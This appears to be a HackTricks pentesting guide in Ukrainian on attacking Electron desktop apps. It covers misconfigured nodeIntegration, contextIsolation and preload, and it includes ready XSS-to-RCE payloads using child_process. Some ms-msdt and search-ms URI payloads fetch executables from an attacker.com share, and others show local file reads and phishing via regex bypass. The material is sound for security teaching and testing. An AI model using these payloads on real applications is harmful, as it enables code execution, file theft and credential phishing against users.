405 lines
27 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Вступ
Electron поєднує локальний бекенд (з **NodeJS**) та фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
Зазвичай ви можете знайти код електронного додатку всередині програми `.asar`, щоб отримати код, вам потрібно його витягти:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
У вихідному коді програми Electron, всередині `packet.json`, ви можете знайти вказаний файл `main.js`, де налаштовуються конфігурації безпеки.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron має 2 типи процесів:
- Головний процес (має повний доступ до NodeJS)
- Процес рендерера (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
![](<../../../images/image (182).png>)
**Процес рендерера** буде вікном браузера, що завантажує файл:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Налаштування **renderer process** можуть бути **сконфігуровані** в **main process** всередині файлу main.js. Деякі з конфігурацій **запобігатимуть отриманню RCE** або інших вразливостей, якщо **налаштування правильно сконфігуровані**.
Electron додаток **може отримати доступ до пристрою** через Node API, хоча його можна налаштувати, щоб запобігти цьому:
- **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process.
- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і рендеринговий процеси не ізольовані.
- **`preload`** - за замовчуванням порожній.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS.
- Node Integration в Workers
- **`nodeIntegrationInSubframes`** - за замовчуванням вимкнено.
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** в рамках Electron додатку.
- Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження будуть завантажуватися в iframe.
Приклад конфігурації:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Деякі **RCE payloads** з [тут](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Capture traffic
Змініть конфігурацію start-main і додайте використання проксі, такого як:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Якщо ви можете виконати Electron App локально, можливо, ви зможете виконати довільний код JavaScript. Перевірте, як це зробити в:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Якщо **nodeIntegration** встановлено на **on**, JavaScript веб-сторінки може легко використовувати функції Node.js, просто викликавши `require()`. Наприклад, спосіб виконати калькулятор на Windows:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
Скрипт, вказаний у цьому налаштуванні, **завантажується перед іншими скриптами в рендерері**, тому він має **необмежений доступ до Node API**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Отже, скрипт може експортувати node-features на сторінки:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не спрацює**
## RCE: XSS + contextIsolation
_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, так що виконання JavaScript кожного коду не впливає на інший. Це необхідна функція для усунення можливості RCE.
Якщо контексти не ізольовані, зловмисник може:
1. Виконати **произвольний JavaScript у рендерері** (XSS або навігація на зовнішні сайти)
2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, на власну функцію
3. **Запустити** використання **перезаписаної функції**
4. RCE?
Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Обхід події кліку
Якщо є обмеження, які застосовуються при натисканні на посилання, ви можете обійти їх, **зробивши середній клік** замість звичайного лівого кліку.
```javascript
window.addEventListener('click', (e) => {
```
## RCE через shell.openExternal
Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередньо завантажені скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують специфічні обробники подій, які є критично важливими для безпеки та функціональності додатку:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо чи в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`.
**Ось спрощений псевдокод:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Найкращі практики безпеки Electron JS радять не приймати ненадійний контент з функцією `openExternal`, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть викликати RCE. Для детальних прикладів та подальшого пояснення з цього питання можна звернутися до [цього ресурсу](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, як у `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Приклади експлойтів протоколів Windows включають:**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## Читання внутрішніх файлів: XSS + contextIsolation
**Вимкнення `contextIsolation` дозволяє використовувати `<webview>` теги**, подібно до `<iframe>`, для читання та ексфільтрації локальних файлів. Наведено приклад, який демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Крім того, поділено ще один метод для **читання внутрішнього файлу**, що підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає ін'єкцію скрипта для експлуатації програми та ексфільтрації даних:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
Якщо **chromium**, що використовується в додатку, є **старим** і в ньому є **відомі** **вразливості**, можливо, ви зможете **використати це і отримати RCE через XSS**.\
Ви можете побачити приклад у цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли**, ви могли б спробувати використати це для **викрадення облікових даних через фішинг**.
По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити новий URL, перевіряючи JS код на фронтенді:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Виклик **`openInternally`** вирішить, чи **посилання** буде **відкрито** у **десктопному вікні**, оскільки це посилання, що належить платформі, **чи** буде воно відкрито у **браузері як ресурс третьої сторони**.
У випадку, якщо **regex**, використаний функцією, є **вразливим до обходів** (наприклад, через **неекранування крапок піддоменів**), зловмисник може зловживати XSS, щоб **відкрити нове вікно, яке** буде розташоване в інфраструктурі зловмисника, **питавши у користувача** про облікові дані:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Remote module
Модуль Electron Remote дозволяє **процесам рендерера отримувати доступ до API основного процесу**, полегшуючи комунікацію в рамках програми Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки програми, роблячи її більш вразливою до уразливостей, таких як атаки міжсайтового скриптингу (XSS).
> [!TIP]
> Хоча модуль **remote** відкриває деякі API з основного процесу для процесів рендерера, отримати RCE лише зловживаючи компонентами не так просто. Однак компоненти можуть розкривати чутливу інформацію.
> [!WARNING]
> Багато додатків, які все ще використовують модуль remote, роблять це таким чином, що **вимагає увімкнення NodeIntegration** в процесі рендерера, що є **величезним ризиком безпеки**.
З моменту виходу Electron 14 модуль `remote` Electron може бути увімкнений у кількох кроках, оскільки з причин безпеки та продуктивності **рекомендується не використовувати його**.
Щоб увімкнути його, спочатку потрібно **увімкнути його в основному процесі**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Тоді процес рендеринга може імпортувати об'єкти з модуля, як:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[блог пост](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на деякі цікаві **функції**, які надає об'єкт **`app`** з віддаленого модуля:
- **`app.relaunch([options])`**
- **Перезапускає** додаток, **виходячи** з поточного екземпляра та **запускаючи** новий. Корисно для **оновлень додатка** або значних **змін стану**.
- **`app.setAppLogsPath([path])`**
- **Визначає** або **створює** каталог для зберігання **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Реєструє** поточний виконуваний файл як **за замовчуванням обробник** для вказаного **протоколу**. Ви можете надати **кастомний шлях** та **аргументи**, якщо це необхідно.
- **`app.setUserTasks(tasks)`**
- **Додає** завдання до **категорії Завдань** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються.
- **`app.importCertificate(options, callback)`**
- **Імпортує** **сертифікат PKCS#12** у **системний магазин сертифікатів** (тільки Linux). **Callback** може бути використаний для обробки результату.
- **`app.moveToApplicationsFolder([options])`**
- **Переміщує** додаток до **каталогу Додатків** (на macOS). Допомагає забезпечити **стандартну установку** для користувачів Mac.
- **`app.setJumpList(categories)`**
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Ви можете вказати **категорії** для організації того, як завдання з'являються для користувача.
- **`app.setLoginItemSettings(settings)`**
- **Конфігурує**, які **виконувані файли** запускаються при **вході** разом з їхніми **опціями** (тільки macOS і Windows).
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
Основний API для доступу до системних налаштувань та емісії системних подій в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault** є частиною цього модуля.
**Приклад використання:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Слухає** **рідні macOS сповіщення** за допомогою NSDistributedNotificationCenter.
* Перед **macOS Catalina** ви могли перехоплювати **всі** розподілені сповіщення, передаючи **nil** до CFNotificationCenterAddObserver.
* Після **Catalina / Big Sur** пісочничні додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **блокування/розблокування екрану**, **монтування томів**, **мережеву активність** тощо) реєструючи сповіщення **за назвою**.
### **getUserDefault / setUserDefault**
* **Інтерфейси** з **NSUserDefaults**, який зберігає **налаштування** програми або **глобальні** налаштування на macOS.
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **останні місця файлів** або **географічне положення користувача**.
* **setUserDefault** може **модифікувати** ці налаштування, потенційно впливаючи на **конфігурацію** програми.
* У **старих версіях Electron** (до v8.3.0) була доступна лише **стандартна сукупність** NSUserDefaults.
## Shell.showItemInFolder
Ця функція показує вказаний файл у файловому менеджері, що **може автоматично виконати файл**.
Для отримання додаткової інформації перегляньте [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — це інструмент для виявлення неправильних налаштувань і антипатернів безпеки в додатках на базі Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — це плагін з відкритим кодом для VS Code для додатків Electron, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) для перевірки вразливих сторонніх бібліотек
- [**Electro.ng**](https://electro.ng/): Вам потрібно його купити
## Labs
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) ви можете знайти лабораторію для експлуатації вразливих додатків Electron.
Деякі команди, які допоможуть вам у лабораторії:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **Посилання**
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Більше досліджень та статей про безпеку Electron у [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}